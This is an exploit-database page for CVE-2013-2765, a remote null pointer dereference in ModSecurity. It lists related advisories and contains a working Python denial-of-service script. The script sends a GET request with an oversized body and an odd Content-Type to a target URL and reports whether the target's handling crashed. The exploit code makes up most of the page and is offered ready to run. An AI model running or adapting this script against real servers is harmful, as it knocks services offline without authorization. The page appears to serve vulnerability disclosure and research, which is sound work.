Lucene search
+L

ModSecurity Remote Null Pointer Dereference Vulnerability

🗓️ 31 May 2013 00:00:00Reported by Younes JAAIDIType 
zdt
 zdt
🔗 0day.today👁 52 Views

ModSecurity Remote Null Pointer Dereference Vulnerability - Python ModSecurityDOSCheck Too

Related
Code
ReporterTitlePublishedViews
Family
freebsd
FreeBSD
www/mod_security -- NULL pointer dereference DoS
27 May 201300:00
freebsd
circl
Circl
CVE-2013-2765
15 Oct 202410:14
circl
cve
CVE
CVE-2013-2765
15 Jul 201315:00
cve
cvelist
Cvelist
CVE-2013-2765
15 Jul 201315:00
cvelist
debiancve
Debian CVE
CVE-2013-2765
15 Jul 201315:00
debiancve
exploitdb
Exploit DB
ModSecurity - Remote Null Pointer Dereference
31 May 201300:00
exploitdb
euvd
EUVD
EUVD-2013-2704
7 Oct 202500:30
euvd
f5
F5 Networks
K000139044: Apache httpd vulnerabilities CVE-2011-1176, CVE-2011-2688, CVE-2013-0942, CVE-2013-2765, and CVE-2013-4365
26 Mar 202418:53
f5
fedora
Fedora
[SECURITY] Fedora 18 Update: mod_security-2.7.3-2.fc18
6 Jun 201301:39
fedora
fedora
Fedora
[SECURITY] Fedora 17 Update: mod_security-2.7.3-2.fc17
6 Jun 201301:34
fedora
Rows per page
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
#
# Created on Mar 29, 2013
#
# @author: Younes JAAIDI <[email protected]>
#

import argparse
import http.client
import logging
import sys
import urllib.request

logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(logging.StreamHandler(sys.stderr))

class ModSecurityDOSCheck(object):

    _DEFAULT_REQUEST_BODY_SIZE = 200 # KB
    _DEFAULT_CONCURRENCY = 100
    _DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"

    def __init__(self):
        self._request_counter = 0
        self._status_message = None

    def main(self, args_list):
        args_object = self._parse_args(args_list)
        
        payload = "A" * args_object.request_body_size * 1024
        
        request = urllib.request.Request(args_object.target_url,
                                         method = "GET",
                                         data = payload.encode('utf-8'),
                                         headers = {'Content-Type': 'text/random',
                                                    'User-Agent': self._DEFAULT_USER_AGENT})
        
        if self._send_request(request):
            logger.info("Target seems to be vulnerable!!!")
            return 0
        else:
            logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")
            return 1

    def _parse_args(self, args_list):
        parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")
        parser.add_argument('-t', '--target-url',
                            dest = 'target_url',
                            required = True,
                            help = "Target URL")
        parser.add_argument('-s', '--request-body-size',
                            dest = 'request_body_size',
                            default = self._DEFAULT_REQUEST_BODY_SIZE,
                            type = int,
                            help = "Request body size in KB")
        
        return parser.parse_args()

    def _send_request(self, request):
        try:
            urllib.request.urlopen(request)
            return False
        except (http.client.BadStatusLine, urllib.error.HTTPError):
            return True

if __name__ == '__main__':
    sys.exit(ModSecurityDOSCheck().main(sys.argv))

#  0day.today [2018-04-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation